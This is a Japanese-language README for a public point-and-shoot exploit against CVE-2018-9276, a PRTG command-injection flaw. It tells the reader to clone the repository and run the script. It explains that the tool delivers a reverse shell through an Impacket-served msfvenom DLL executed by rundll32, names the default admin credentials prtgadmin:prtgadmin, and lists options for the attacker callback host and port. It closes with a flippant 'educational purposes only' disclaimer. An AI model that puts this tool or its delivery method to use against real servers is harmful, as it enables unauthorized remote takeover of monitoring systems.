
CVE-2018-9276 PRTG < 18.2.39 Authenticated Command Injection (Reverse Shell)
https://nvd.nist.gov/vuln/detail/CVE-2018-9276
https://github.com/M4LV0 氏が作成したエクスプロイトの改良版です。彼らのスクリプトのPOSTデータを使用しましたが、うまくいかなかったため、より信頼性の高いものに改良しました。
ペイロード配信は基本的に smb_delivery です。Impacket が msfvenom で生成された .dll を提供し、rundll32.exe がすべての作業を実行します。
Windows Server 2016 上の PRTG 18.1.37 に対してテスト済み。
決してよく書かれているわけではなく、Stack Overflow から寄せ集めたものです。Kali Linux での使用を想定して開発されており、以下のものが利用可能であることを前提としています。
これはポイントアンドシュート方式のエクスプロイトで、必要となるのは PRTG インスタンスの管理者資格情報(デフォルトは prtgadmin:prtgadmin)だけです。ターゲットマシンの構成によって結果は異なる場合があります。以下の前提が立てられています。
git clone https://github.com/wildkindcc/CVE-2018-9276.git
python CVE-2018-9276.py -h
資格情報を調べてシェルを落としましょう :)
usage: CVE-2018-9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
optional arguments:
-h, --help show this help message and exit
-i HOST, --host HOST IP address / Hostname of vulnerable PRTG server
-p PORT, --port PORT Port number
--lhost LHOST LHOST for MSFVENOM
--lport LPORT LPORT for MSFVENOM
--user USER Administrator Username
--password PASSWORD Administrator Password
--https Negotiate SSL connection to the server (Requires
socket to be compiled with SSL support)
これでギブソンをハッキングできるわけではありません。許可のないシステムには絶対に使用しないでください。楽しみのために書きました。教育目的のみです。などなど。